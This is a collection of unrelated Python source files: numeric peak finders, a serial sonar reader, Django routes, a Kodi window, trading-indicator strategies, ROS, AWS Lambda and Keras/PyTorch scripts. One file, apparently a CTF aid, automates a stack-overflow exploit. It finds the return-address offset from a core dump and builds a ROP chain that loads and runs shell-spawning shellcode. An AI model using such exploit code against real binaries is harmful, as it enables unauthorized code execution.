# -*- coding: utf-8 -*-

import numpy as np
from .fit2d import fitgaussian as fitgaussian2d
from .fit1d import fitgaussian as fitgaussian1d

def fmax(data):
    if data.size in data.shape:
        return np.nanargmax(data)
    else:
        return np.array(np.unravel_index(np.nanargmax(data), data.shape))

def fmin(data):
    if data.size in data.shape:
        return np.nanargmin(data)
    else:
        return np.array(np.unravel_index(np.nanargmin(data), data.shape))

def _centroid(data):
    if data.size in data.shape:
        x = np.arange(data.size).reshape(data.shape)
        return (x * data).sum() / data.sum()
    else:
        ny, nx = np.shape(data)
        y, x = np.indices((ny, nx))
        cx = np.sum(x * data) / np.sum(data)
        cy = np.sum(y * data) / np.sum(data)
        return np.array((cx, cy))

def _fit(data):
    if data.size in data.shape:
        x = np.arange(data.size)
        p, success = fitgaussian1d(x, data)
        if success:
            ret = p[0]
    else:
        y, x = np.indices(data.shape)
        p, success = fitgaussian2d(x, y, data)
        if success:
            ret = p[[0, 1]]
    if success:
        return ret
    else:
        return fmax(data)

def foptimize(data, proc, threshold=0.9):
    shift = fmax(data)
    thres = threshold * np.nanmax(data)

    if data.size in data.shape:
        shifta = shift
        shiftb = shift
        while (data.flat[shifta] > thres) and (data.flat[shiftb] > thres):
            shifta -= 1
            shiftb += 1
            if shifta < 0 or shiftb >= data.size:
                shifta += 1
                shiftb -= 1
                break
        if shifta != shiftb:
            shift = proc(data.flat[shifta : shiftb + 1]) + shifta
    else:
        off = 0
        s = data.shape
        while (
            data[
                shift[0] - off : shift[0] + off + 1, shift[1] - off : shift[1] + off + 1
            ]
            < thres
        ).sum(dtype=int) == 0:
            off += 1
            if (
                shift[0] < off
                or shift[1] < off
                or shift[0] + off >= s[0]
                or shift[1] + off >= s[1]
            ):
                off -= 1
                break

        if off != 0:
            shift = (
                shift
                + proc(
                    data[
                        shift[0] - off : shift[0] + off + 1,
                        shift[1] - off : shift[1] + off + 1,
                    ]
                )
                - off
            )

    return shift

def fcentroid(data):
    return foptimize(data, _centroid)

def fgaussmax(data):
    return foptimize(data, _fit)


import serial
import time
from socketIO_client import SocketIO, LoggingNamespace
socketIO = SocketIO('localhost', 5000, LoggingNamespace)
serialPort = serial.Serial(port="COM5",
                    baudrate=19200,
                    parity = serial.PARITY_NONE,
                    stopbits = serial.STOPBITS_ONE,
                    bytesize = serial.EIGHTBITS,
                    timeout = 2)

if(serialPort.isOpen() == False):
    serialPort.open()

serialPort.flushInput()
serialPort.flushOutput()

angle = 90
step = 2

while True:
    serialPort.write([255,angle])
    time.sleep(0.2)
    if(serialPort.inWaiting() != 0):
        serialPort.read(6)
        s0_msb = int.from_bytes(serialPort.read(1), byteorder = "big", signed = False)
        s0_lsb = int.from_bytes(serialPort.read(1), byteorder = "big", signed = False)
        s1_msb = int.from_bytes(serialPort.read(1), byteorder = "big", signed = False)
        s1_lsb = int.from_bytes(serialPort.read(1), byteorder = "big", signed = False)
        s0_cm = (s0_msb*256 + s0_lsb)*2.54/4
        s1_cm = (s1_msb*256 + s1_lsb)*2.54/4
        # print ("S0: " + str(s0_cm) + " S1: " + str(s1_cm))
        print({angle:int(s0_cm)})
        if int(s0_cm) < 1000:
            socketIO.emit('measurement', {angle:int(s0_cm)})

    angle = angle + step
    if ((angle > 175) or (angle < 5)):
        step = -step

serialPort.close()


"""foodcalc URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')
Including another URLconf
    1. Add an import:  from blog import urls as blog_urls
    2. Add a URL to urlpatterns:  url(r'^blog/', include(blog_urls))
"""
from django.conf.urls import include, url
from django.contrib import admin
from calcs import views

urlpatterns = [
    url(r'^admin/', include(admin.site.urls)),
    url(r'^events/([0-9]+)$', views.event, name='show-event'),
    url(r'^events/create$', views.create_event, name='create-event'),
    url(r'^mealcost/([0-9]+)$', views.mealcost, name='cost-breakdown'),
	url(r'^ingredients/([0-9]+)/inevent/([0-9]+)$', views.ingredient, name='ingredient'),
    url(r'', views.show_events),
]


#############################################################
#################### START ADDON IMPORTS ####################
import xbmc
import xbmcaddon
import xbmcgui
import xbmcplugin

import os
import re
import sys
import urllib
import urllib2
import urlparse
import utils

import kodi
import pyxbmct.addonwindow as pyxbmct

#############################################################
#################### SET ADDON ID ###########################
_self_			= xbmcaddon.Addon(id=kodi.get_id())

#############################################################
#################### SET ADDON THEME IMAGES #################
ART = xbmc.translatePath(os.path.join('special://home/addons/script.xxxodus.artwork', 'resources/pyxbmct/issues'))

Background_Image	= os.path.join(ART, 'tbg.png')
Button	= os.path.join(ART, 'close.png')
ButtonF	= os.path.join(ART, 'closef.png')

#############################################################
########## Function To Call That Starts The Window ##########
def TextWindow(Text):

    kodi.idle

    global msg_text

    msg_text = Text

    window = Main('')
    window.doModal()
    del window
#############################################################
######### Class Containing the GUi Code / Controls ##########
class Main(pyxbmct.AddonFullWindow):

    def __init__(self, title='XXX-O-DUS'):
        super(Main, self).__init__(title)

		#set the location and size of your window in kodi
        self.setGeometry(800, 450, 100, 50)

		## Set The backGround Image using PYX Image
        Background			= pyxbmct.Image(Background_Image)

		## Place The BackGround Image (X, Y, W, H)
        self.placeControl(Background, -50, -1, 220, 55)

		## function to set active controls that users interact with
        self.set_active_controls()

        self.set_info_controls()

        self.setFocus(self.button)

		## connect the back button to pyx to close window
        self.connect(pyxbmct.ACTION_NAV_BACK, self.close)
        self.connect(self.button, self.close)
        self.textbox.setText(msg_text)
        self.textbox.autoScroll(1000, 2000, 1000)

    def set_info_controls(self):
        self.textbox = pyxbmct.TextBox()
        self.placeControl(self.textbox, 22, 1, 140, 48)

    def set_active_controls(self):
        self.button = pyxbmct.Button('',	focusTexture=ButtonF,	noFocusTexture=Button)
        self.placeControl(self.button, 147,47,15,6)

    def setAnimation(self, control):
        control.setAnimations([('WindowOpen', 'effect=fade start=0 end=100 time=200',), ('WindowClose', 'effect=fade start=100 end=0 time=300',)])


from datetime import datetime
from ta.trend import MACD
from ta.momentum import RSIIndicator
from ta.volatility import AverageTrueRange, BollingerBands

class Strategy:
    df = None
    latest_candle = None
    second_latest_candle = None
    stop_loss = None
    take_profit = None

    def apply_indicator(self) -> None:
        pass

    def action(self) -> str:
        pass

    def back_test(self, candles_before) -> list:
        pass

class RSI(Strategy):
    def __init__(self, df, period) -> None:
        self.df = df
        self.rsi = RSIIndicator(close=df['close'], window=period)

    def apply_indicator(self) -> None:
        self.df['RSI'] = self.rsi.rsi()
        self.latest_candle = self.df.iloc[-1]
        self.second_latest_candle = self.df.iloc[-2]

    def action(self, upperbound, lowerbound) -> str:
        if self.latest_candle['RSI'] > upperbound:
            return 'sell'
        elif self.latest_candle['RSI'] < lowerbound:
            return 'buy'

    def back_test(self, candles_before, upperbound, lowerbound) -> list:
        test_df = self.df.iloc[-candles_before:]
        actions = []
        for index, row in test_df.iterrows():
            if row['RSI'] > upperbound:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['RSI'], 'sell'))
            elif row['RSI'] < lowerbound:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['RSI'], 'buy'))
            else:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['RSI'], 'hold'))
        return actions

class MACDIndex(Strategy):
    def __init__(self, df, slow_period, fast_period, signal_period) -> None:
        self.df = df
        self.macd = MACD(close=df['close'], window_slow=slow_period, window_fast=fast_period, window_sign=signal_period)

    def apply_indicator(self) -> None:
        self.df['MACD'] = self.macd.macd()
        self.df['MACDS'] = self.macd.macd_signal()
        self.latest_candle = self.df.iloc[-1]
        self.second_latest_candle = self.df.iloc[-2]

    def action(self) -> str:
        if self.latest_candle['MACD'] > self.latest_candle['MACDS']:
            return 'buy'
        elif self.latest_candle['MACD'] < self.latest_candle['MACDS']:
            return 'sell'

    def back_test(self, candles_before) -> list:
        test_df = self.df.iloc[-candles_before:]
        actions = []
        for index, row in test_df.iterrows():
            if row['MACD'] < row['MACDS']:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['MACD'], row['MACDS'], 'sell'))
            elif row['MACD'] > row['MACDS']:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['MACD'], row['MACDS'], 'buy'))
            else:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['MACD'], row['MACDS'], 'hold'))
        return actions

class ATR(Strategy):
    def __init__(self, df, period) -> None:
        self.df = df
        self.atr = AverageTrueRange(high=df['high'], low=df['low'], close=df['close'], window=period)

    def apply_indicator(self) -> None:
        self.df['ATR'] = self.atr.average_true_range()
        self.latest_candle = self.df.iloc[-1]
        self.second_latest_candle = self.df.iloc[-2]

    def get_atr(self, count) -> float:
        return self.latest_candle['ATR'] * count

class BollingerBand(Strategy):
    def __init__(self, df, period, dev_period) -> None:
        self.df = df
        self.bb = BollingerBands(close=df['close'], window=period, window_dev=dev_period)

    def apply_indicator(self) -> None:
        self.df['BBH'] = self.bb.bollinger_hband()
        self.df['BBL'] = self.bb.bollinger_lband()
        self.df['BBHI'] = self.bb.bollinger_hband_indicator()
        self.df['BBLI'] = self.bb.bollinger_lband_indicator()
        self.latest_candle = self.df.iloc[-1]
        self.second_latest_candle = self.df.iloc[-2]

    def action(self) -> str:
        if self.latest_candle['BBHI']:
            return 'sell'
        elif self.latest_candle['BBLI']:
            return 'buy'

    def back_test(self, candles_before) -> list:
        test_df = self.df.iloc[-candles_before:]
        actions = []
        for index, row in test_df.iterrows():
            if row['BBHI']:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['BBHI'], 'sell'))
            elif row['BBLI']:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), row['BBLI'], 'buy'))
            else:
                actions.append((datetime.fromtimestamp(row['time']).strftime('%Y-%m-%d %H:%M:%S'), 'hold'))
        return actions

class BBandRSI(Strategy):
    def __init__(self, df, bb_period, bb_dev_period, rsi_period) -> None:
        self.df = df
        self.rsi = RSI(df, period=rsi_period)
        self.bb = BollingerBand(df, period=bb_period, dev_period=bb_dev_period)

    def apply_indicator(self) -> None:
        self.rsi.apply_indicator()
        self.bb.apply_indicator()

    def action(self) -> str:
        if self.rsi.action(upperbound=75, lowerbound=25) == 'sell' and self.bb.action() == 'sell':
            return 'sell'
        elif self.rsi.action(upperbound=75, lowerbound=25) == 'buy' and self.bb.action() == 'buy':
            return 'buy'
        return 'hold'

    def back_test(self, candles_before) -> list:
        actions = []
        rsi_tests = self.rsi.back_test(candles_before, upperbound=75, lowerbound=25)
        bb_tests = self.bb.back_test(candles_before)
        for rsi_test in rsi_tests:
            for bb_test in bb_tests:
                if rsi_test[0] == bb_test[0]:
                    if rsi_test[-1] == bb_test[-1] == 'sell':
                        actions.append((rsi_test[0], 'sell'))
                    elif rsi_test[-1] == bb_test[-1] == 'buy':
                        actions.append((rsi_test[0], 'buy'))
                    else:
                        actions.append((rsi_test[0], 'hold'))
        return actions


# -*- coding: utf-8 -*-
"""
Created on Wed Mar 25 15:58:44 2020

@author: douzi
"""

class Solution:
    def balancedStringSplit(self, s: str) -> int:
        ans = 0
        n = 0
        for e in s:
            ans = ans - 1 if e == 'L' else ans + 1
            if ans == 0:      # 模拟栈
                n += 1
        return n

s = Solution()
print(s.balancedStringSplit("RLLLLRRRLR"))
print(s.balancedStringSplit("RLRRLLRLRL"))


def postrun(commonblock,
            saving_next_number,
            saving_directory,
            saving_suffix,
            acq_nb_frames,
            saving_format,
            saving_prefix,
            saving_next_number_str):
    """ code for postrun datasource

    :param commonblock: commonblock of nxswriter
    :type commonblock: :obj:`dict`<:obj:`str`, `any`>
    :param saving_next_number: saving next number
    :type saving_next_number: :obj:`int`
    :param saving_directory: saving directory
    :type saving_directory: :obj:`str`
    :param saving_suffix: saving suffix
    :type saving_suffix: :obj:`str`
    :param acq_nb_frames: number of frames acquired
    :type acq_mb_frames: :obj:`str`
    :param saving_format: saving format
    :type saving_format: :obj:`str`
    :param saving_prefix: saving prefix
    :type saving_prefix: :obj:`str`
    :param saving_next_number_str: datasource string name
    :type saving_next_number_str: :obj:`str`
    :returns: name of saved file
    :rtype: :obj:`str`
    """
    unixdir = (saving_directory).replace("\\", "/")
    if len(unixdir) > 1 and unixdir[1] == ":":
        unixdir = "/data" + unixdir[2:]
    if unixdir and unixdir[-1] == "/":
        unixdir = unixdir[:-1]
    filestartnum = commonblock[saving_next_number_str] - 1
    result = "" + unixdir + "/" + saving_prefix + saving_format
    result += saving_suffix + ":"
    filelastnumber = saving_next_number - 1
    if "__root__" in commonblock.keys():
        root = commonblock["__root__"]
        if hasattr(root, "currentfileid") and hasattr(root, "stepsperfile"):
            spf = root.stepsperfile
            cfid = root.currentfileid
            if spf > 0 and cfid > 0:
                filelastnumber = min(
                    filestartnum + cfid * acq_nb_frames * spf - 1,
                    filelastnumber)
                filestartnum = filestartnum + (cfid - 1) * acq_nb_frames * spf
    result += str(filestartnum) + ":" + str(filelastnumber)
    return result


#!/usr/bin/env python3
# encoding: UTF-8
"""
This code is public domain.

This script unpacks the wasp build tool and should be checked into vcs
repositories.
"""

# PYTHON_ARGCOMPLETE_OK

import json
import sys
import os
import zlib
import binascii

UNPACK_DIR = '.wasp'
CACHE_FILE = 'c4che.json'

def detect_topdir():
    dir = os.getcwd()
    for f in os.listdir(dir):
        if f == CACHE_FILE:
            with open(f, 'r') as fobj:
                try:
                    d = json.load(fobj)
                except:
                    break
                ctx = d.get('ctx', None)
                if ctx is None:
                    break
                if not isinstance(ctx, dict):
                    break
                topdir = ctx.get('topdir', None)
                return topdir
    while dir != '/':
        for f in os.listdir(dir):
            if f == 'wasp':
                return dir
        dir = os.path.abspath(os.path.join(dir, '..'))
    return None

def main():
    topdir = detect_topdir()
    if topdir is None:
        print('Could not locate topdir. You must run ``gloabl-wasp`` '
              'either from a file tree'
              'containing a ``wasp`` file or from a build directory '
              'containing an initialized `{0}` file.'.format(CACHE_FILE))
        sys.exit(1)
    unpack_dir = os.path.join(topdir, UNPACK_DIR)
    if not os.path.exists(unpack_dir):
        fname = os.path.join(topdir, 'wasp')
        code = []
        with open(fname, 'r') as f:
            start = False
            for line in f:
                if 'wasp_packed=[' in line:
                    start = True
                if line == '\n' and start:
                    break
                if start:
                    code.append(line)
        vs = {}
        exec(''.join(code), vs, vs)
        unpack(unpack_dir, vs['wasp_packed'])
    sys.path.append(unpack_dir)
    run(topdir, unpack_dir)

class WaspInstallationError(RuntimeError):
    def __init__(self, msg):
        super().__init__(msg)

def remove_recursive(path):
    """
    Recursively remove directory tree.
    """
    if not os.path.isdir(path):
        os.remove(path)
        return
    for subpath in os.listdir(path):
        remove_recursive(os.path.join(path, subpath))

def unpack(unpack_dir, code):
    """
    Unpacks this script into unpack_dir.
    Already existing files are removed.
    """
    # recursive remove existing install
    if os.path.exists(unpack_dir):
        remove_recursive(unpack_dir)
    os.mkdir(unpack_dir)
    for filename, content in code:
        dirname = os.path.dirname(filename)
        # check if a dir needs to be created
        if dirname != '':
            dirname = os.path.join(unpack_dir, dirname)
            if not os.path.exists(dirname):
                os.makedirs(dirname, exist_ok=True)
        # decompress and write file
        fname = os.path.join(unpack_dir, filename)
        with open(fname, 'w') as f:
            compressed = binascii.a2b_base64(content)
            data = zlib.decompress(compressed)
            s = data.decode('UTF-8')
            f.write(s)

def run(topdir, unpack_dir):
    # make sure cwd is the directory in which the wasp script
    # is. Thus, topdir gets set to cwd.
    os.chdir(topdir)
    try:
        wasp = __import__('wasp')
    except ImportError:
        raise WaspInstallationError('Something went wrong during the installation. Does {0} directory with all wasp files exist?'.format(UNPACK_DIR))
    # run the main routine
    from wasp.main import run
    success = run(topdir)
    if success:
        sys.exit(0)
    else:
        sys.exit(1)

if __name__ == '__main__':
    main()


pet_1 = {
    "type of pet": "dog",
    "name": "moty",
    "owner": "victor",
    }

pet_2 = {
    "type of pet": "cat",
    "name": "luna",
    "owner": "mt",
    }

pet_3 = {
    "type of pet": "bird",
    "name": "piolin",
    "owner": "igua",
    }

pets = [pet_1, pet_2, pet_3]

for pet in pets:
    print(pet)

for pet in pets:
    print(f"\nThis is what I know about {pet['name'].title()}:")
    for key, value in pet.items():
        print(f"{key.title()}: {value.title()}")


#!/usr/bin/env python3

from math import pi

import rospy
from geometry_msgs.msg import Point, Pose, Quaternion, Vector3
from industrial_reconstruction_msgs.msg import NormalFilterParams
from industrial_reconstruction_msgs.srv import (StartReconstruction,
                                                StartReconstructionRequest,
                                                StopReconstruction,
                                                StopReconstructionRequest)
from move_group_sequence.move_group_sequence import (Circ, Lin, Ptp, Sequence,
                                                     from_euler)
from trajectory_tools.trajectory_handler import TrajectoryHandler

# reconstruction parameters
start_srv_req = StartReconstructionRequest()
start_srv_req.tracking_frame = "tool0"
start_srv_req.relative_frame = "base_link"
start_srv_req.translation_distance = 0.0
start_srv_req.rotational_distance = 0.0
start_srv_req.live = True
start_srv_req.tsdf_params.voxel_length = 0.001
start_srv_req.tsdf_params.sdf_trunc = 0.002
start_srv_req.tsdf_params.min_box_values = Vector3(x=0.0, y=0.0, z=0.0)
start_srv_req.tsdf_params.max_box_values = Vector3(x=0.0, y=0.0, z=0.0)
start_srv_req.rgbd_params.depth_scale = 1000
start_srv_req.rgbd_params.depth_trunc = 0.25
start_srv_req.rgbd_params.convert_rgb_to_intensity = False

stop_srv_req = StopReconstructionRequest()
# stop_srv_req.archive_directory = '/dev_ws/src.reconstruction/'
stop_srv_req.mesh_filepath = "/home/v/test.ply"
# stop_srv_req.normal_filters = [NormalFilterParams(
#                     normal_direction=Vector3(x=0.0, y=0.0, z=1.0), angle=90)]
# stop_srv_req.min_num_faces = 1000

def robot_program():

    ee_name = "D405"

    rospy.wait_for_service("/start_reconstruction")
    rospy.loginfo("robot program: waiting for /start_reconstruction srv")
    start_recon = rospy.ServiceProxy("/start_reconstruction", StartReconstruction)
    stop_recon = rospy.ServiceProxy("/stop_reconstruction", StopReconstruction)

    start = (0.0, -pi / 2.0, pi / 2.0, 0.0, pi / 2.0, 0.0)
    pose1 = Pose(
        position=Point(0.6, -0.5, 0.15), orientation=Quaternion(0.0, 1.0, 0.0, 0.0)
    )
    pose2 = Pose(
        position=Point(0.6, 0.5, 0.15), orientation=Quaternion(0.0, 1.0, 0.0, 0.0)
    )

    th = TrajectoryHandler()
    th.publish_marker_array([pose1, pose2])

    # attach camera and set new tcp
    th.attach_camera(ee_name)
    th.move_group.set_end_effector_link(f"{ee_name}/tcp")
    rospy.loginfo(
        f"{th.name}: end effector link set to {th.move_group.get_end_effector_link()}"
    )

    # Move into position to start reconstruction
    th.sequencer.plan(Ptp(goal=start, vel_scale=0.1, acc_scale=0.3))
    th.sequencer.execute()
    th.sequencer.plan(Ptp(goal=pose1, vel_scale=0.1, acc_scale=0.3))
    th.sequencer.execute()

    # Start reconstruction with service srv_req
    resp = start_recon(start_srv_req)

    if resp:
        rospy.loginfo("robot program: reconstruction started successfully")
    else:
        rospy.loginfo("robot program: failed to start reconstruction")

    th.sequencer.plan(Lin(goal=pose2, vel_scale=0.001, acc_scale=0.001))
    th.sequencer.execute()

    # Stop reconstruction with service srv_req
    resp = stop_recon(stop_srv_req)

    if resp:
        rospy.loginfo("robot program: reconstruction stopped successfully")
    else:
        rospy.loginfo("robot program: failed to stop reconstruction")

if __name__ == "__main__":

    robot_program()


import json
import urllib.parse
import boto3
import datetime

print('Loading function')

s3 = boto3.client('s3')
transcribe = boto3.client('transcribe')

def lambda_handler(event, context):
    #print("Received event: " + json.dumps(event, indent=2))

    try:
        # Get the object from the event and show its content type
        bucket = event['Records'][0]['s3']['bucket']['name']
        key = urllib.parse.unquote_plus(event['Records'][0]['s3']['object']['key'], encoding='utf-8')

        print(bucket)
        print(key)

        transcriptionJobName = datetime.datetime.now().strftime('%Y%m%d%H%M%S') + '_Transcription'

        result = transcribe.start_transcription_job(
            TranscriptionJobName= transcriptionJobName,
            LanguageCode='ja-JP',
            Media={
                'MediaFileUri': 'https://s3.ap-northeast-1.amazonaws.com/' + bucket + '/' + key
            },
            OutputBucketName='出力用バケット名'
        )

        print(result)

        while True:
            getJob = transcribe.get_transcription_job(
                TranscriptionJobName= transcriptionJobName,
            )
            jobStatus = getJob['TranscriptionJob']['TranscriptionJobStatus']
            print(jobStatus)
            if jobStatus == 'COMPLETED':
                break

        response = s3.get_object(Bucket='出力用バケット名', Key=transcriptionJobName + '.json')
        result = response['Body'].read().decode('utf-8')
        print(result)
        return {
            'isBase64Encoded': False,
            'statusCode': 200,
            'headers': {},
            'body': result
        }
    except Exception as e:
        print(e)
        # print('Error getting object {} from bucket {}. Make sure they exist and your bucket is in the same region as this function.'.format(key, bucket))
        # raise e

        return {
            'isBase64Encoded': False,
            'statusCode': 400,
            'headers': {},
            'body': '{"message": "読み込み中"}'
        }


import roputils
from resource import setrlimit, RLIMIT_CORE, RLIM_INFINITY
from pwn import *
from state import *
import os
#context.log_level = 'debug'

class quick_mode():
    @classmethod
    def getshell(self, binary):
        global receive
        #try:
        if 1:
            fpath = binary
            core_list = filter(lambda x:"core" in x, os.listdir('.'))
            if len(core_list) is not 0:
                os.popen('ulimit -c unlimited')
                for core in core_list:
                    os.unlink(core)
            p = process(binary)
            p.sendline(roputils.Pattern.create(2000))
            sleep(0.5)
            p.close()
            '''
            os.popen('ulimit -c unlimited')
            p = process(fpath)
            p.sendline(roputils.Pattern.create(2000))
            '''
            core_list = filter(lambda x: "core" in x, os.listdir('.'))
            core = core_list[0]
            p = roputils.Popen(['gdb', fpath, core, '--batch', '-ex', 'x/wx $sp'], stdin=PIPE, stdout=PIPE)
            data = p.stdout.readlines()
            retaddr = data[len(data)-1].split(':')[1].strip()
            index = roputils.Pattern.offset(retaddr)
            offset = int(index)
            r = roputils.ROP(fpath)
            target_elf = ELF(fpath)
            sc = roputils.Shellcode('i386')
            read_string = "\x65\x83\x3D\x0C\x00\x00\x00\x00\x75\x25\x53\x8B\x54\x24\x10\x8B\x4C\x24\x0C\x8B\x5C\x24\x08\xB8\x03\x00\x00\x00"
            read_offset = list(target_elf.search(read_string))[0]
            #print hex(read_offset)
            target_elf = ELF(fpath)
            buf_1 = r.retfill(offset)
            #print len(buf_1)
            addr_stage = r.section('.bss')
            #print 'addr_stage',hex(addr_stage)
            #print r.call(read_offset, 0, addr_stage, len(sc.exec_shell())),len(r.call(read_offset, 0, addr_stage, len(sc.exec_shell())))
            buf_1 += r.call(read_offset, 0, addr_stage, len(sc.exec_shell()))
            buf_1 += r.call(addr_stage)
            buf_2 = sc.exec_shell()
            #print 'shellcode ready'
        #except:
        #    return -1
        #try:
        receive = str()
        for i in range(2):
            try:
                p = process(r.fpath)
                p.sendline(buf_1)
                #print 'quick_mode : buf_1 send'
                #print 'buf_1 : ',buf_1
                #print len(buf_1)
                p.recvn(1)
                p.sendline(buf_2)
                #print 'quick_mode : buf_2 send'
                #print 'quick send'
            #try:
                p.sendline('echo zxcv;')
                receive = p.recvuntil('zxcv\n')
                p.close()
                #print 'i:' + str(i) + 'p.close'
            #try:
                #print 'receive:',receive
            except:
                if i == 0:
                    p.close()
                    pass
                    #print 'i == 0,pass'
                else:
                    p.close()
                    #print 'i == 1,return -1'
                    return -1
            if 'zxcv' in receive:
                break
            if i == 0:
                buf_1 = 'a' + '\x00' + buf_1[2:]
                #print 'replace buf_1'
                #print len(buf_1)
            #p.close()
        #print 'return payload'
        return buf_1 + ',.,' + buf_2
        #except:
         #   print 'total return -1'
          #  return -1


#! /usr/bin/env python

from config import Train_CSV_Path,Test_CSV_Path
from config import dis_size,emb_size
from utils import load_con_input,load_emb_input
from utils import caluate_point,hdist

from sklearn.cluster import MeanShift,estimate_bandwidth
import h5py
import numpy as np
import pandas as pd
import math as Math
from time import time
import cPickle as pickle

from keras.models import model_from_json,Sequential
from keras.layers.core import Dense,Dropout,Activation,Flatten,Merge,Lambda
from keras.layers.embeddings import Embedding
from keras.optimizers import SGD,Adagrad
from keras.layers import BatchNormalization
from keras.callbacks import EarlyStopping,ModelCheckpoint

model_name = 'MLP_0.3'

def prepare_inputX(con_feature,emb_feature):
    n_emb = emb_feature.shape[1]
    input_x = []
    input_x.append(con_feature)
    for i in range(n_emb):
        input_x.append(emb_feature[:,i])
    return input_x

def cluster():
    df_train = pd.read_csv(Train_CSV_Path,header=0)
    destination = []
    for i in range(len(df_train)):
        destination.append(list(eval(df_train['DESTINATION'][i])))

    destination = np.array(destination)
    bw = estimate_bandwidth(
            destination,
            quantile = 0.1,
            n_samples = 1000
            )
    ms = MeanShift(
            bandwidth = bw,
            bin_seeding = True,
            min_bin_freq = 5
            )
    ms.fit(destination)
    cluster_centers = ms.cluster_centers_
    with h5py.File('cluster.h5','w') as f:
        f.create_dataset('cluster',data = cluster_centers)
    return cluster_centers

def load_dataset():
    tr_con_input,te_con_input = load_con_input()
    tr_con_feature = tr_con_input['con_input']
    tr_label = tr_con_input['output']
    te_con_feature = te_con_input['con_input']

    tr_emb_input ,te_emb_input,vocabs_size = load_emb_input()
    tr_emb_feature = tr_emb_input['emb_input']
    te_emb_feature = te_emb_input['emb_input']

    return tr_con_feature,tr_emb_feature,tr_label,te_con_feature,te_emb_feature,vocabs_size

def build_mlp(n_con,n_emb,vocabs_size,n_dis,emb_size,cluster_size):
    hidden_size = 800
    con = Sequential()
    con.add(Dense(input_dim=n_con,output_dim=emb_size))

    emb_list = []
    for i in range(n_emb):
        emb = Sequential()
        emb.add(Embedding(input_dim=vocabs_size[i],output_dim=emb_size,input_length=n_dis))
        emb.add(Flatten())
        emb_list.append(emb)

    model = Sequential()
    model.add(Merge([con] + emb_list,mode='concat'))
    model.add(BatchNormalization())
    model.add(Dense(hidden_size,activation='relu'))
    model.add(Dropout(0.5))
    model.add(Dense(cluster_size,activation='softmax'))
    model.add(Lambda(caluate_point, output_shape =[2]))
    return model

def main(result_csv_path,hasCluster):
    print('1. Loading Data.........')
    tr_con_feature,tr_emb_feature,tr_label,te_con_feature,te_emb_feature,vocabs_size = load_dataset()

    n_con = tr_con_feature.shape[1]
    n_emb = tr_emb_feature.shape[1]

    train_x = prepare_inputX(tr_con_feature,tr_emb_feature)
    test_x = prepare_inputX(te_con_feature,te_emb_feature)
    print('1.1 cluster.............')
    cluster_centers = []
    if hasCluster:
        f = h5py.File('cluster.h5','r')
        cluster_centers = f['cluster'][:]
    else:
        cluster_centers = cluster()

    print('2. Building model..........')
    model = build_mlp(n_con,n_emb,vocabs_size,dis_size,emb_size,cluster_centers.shape[0])
    checkPoint = ModelCheckpoint('weights/' + model_name +'.h5',save_best_only=True)
    model.compile(loss=hdist,optimizer='rmsprop') #[loss = 'mse',optimizer= Adagrad]
    model.fit(
        train_x,
        tr_label,
        nb_epoch = 2000, #1000 # 1500
        batch_size = 500, # 500 #400
        verbose = 1,
        validation_split = 0.3,
        callbacks =([checkPoint])
    )
    ##### dump model ########
    #json_string = model.to_json()
    #open('weights/'+ model_name +'.json','w').write(json_string)
    #model.save_weights('weights/'+ model_name + '.h5',overwrite=True,)

    ####### predict #############################
    print('3. Predicting result.........')
    te_predict = model.predict(test_x)
    df_test = pd.read_csv(Test_CSV_Path,header=0)
    result = pd.DataFrame()
    result['TRIP_ID'] = df_test['TRIP_ID']
    result['LATITUDE'] = te_predict[:,1]
    result['LONGITUDE'] = te_predict[:,0]
    result.to_csv(result_csv_path,index=False)

if __name__=='__main__':
    start = time()
    main('result/result_'+model_name+'.csv',True)
    end = time()
    print('Time:\t'+str((end-start)/3600)+' hours')


# Import Libraries
import torch
import pandas as pd
import torch.optim as optim

# Get models
from models import *
from train_and_evaluate import *
from get_data import *

# Get models

# Set models
model1 = Net1()
model2 = Net2()
model3 = Net3()
model4 = Net4()
model5 = Net5()

# Set to GPU
device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu")
model1.to(device)
model2.to(device)
model3.to(device)
model4.to(device)
model5.to(device)

# Set Optimiziers
optimizer1 = optim.SGD(model1.parameters(), lr=0.01,momentum=0.9)
optimizer2 = optim.SGD(model2.parameters(), lr=0.01,momentum=0.9)
optimizer3 = optim.SGD(model3.parameters(), lr=0.01,momentum=0.9)
optimizer4 = optim.SGD(model4.parameters(), lr=0.004,momentum=0.9)
optimizer5 = optim.SGD(model5.parameters(), lr=0.004,momentum=0.9)

# dataframes to hold results

train_loss = pd.DataFrame(index=[x for x in range(50)])
train_acc  = pd.DataFrame(index=[x for x in range(50)])
val_loss   = pd.DataFrame(index=[x for x in range(50)])
val_acc    = pd.DataFrame(index=[x for x in range(50)])

# 50 epochs
n_epochs = 50

# for each of the 5 models
for i in range(1,5+1):

    t_loss = []
    t_acc = []
    v_loss = []
    v_acc = []

    for epoch in range(n_epochs):

        #train, evalulate models
        train_model(epoch,eval('model'+str(i)),eval('optimizier'+str(i)),train_loader16)
        evaluate(train_loader16,eval('model'+str(i)),t_loss,t_acc)
        evaluate_val(validation_loader,eval('model'+str(i)),v_loss,v_acc)

    #Store Results
    train_loss['model'+str(i)] = t_loss
    train_acc['model'+str(i)]  = t_acc
    val_loss['model'+str(i)]   = v_loss
    val_acc['model'+str(i)]    = v_acc


## Author: Steve Duran
## Class: CPSC 353
## CWID: 805923158
## File: lsbProject.py

#!/usr/bin/python3
from PIL import Image
import binascii
import argparse
import sys

######################################################
## <Description> Converts string into bit form & appends length to string
## Parameter:
##       message: string variable
## Return: returning string of bits
######################################################
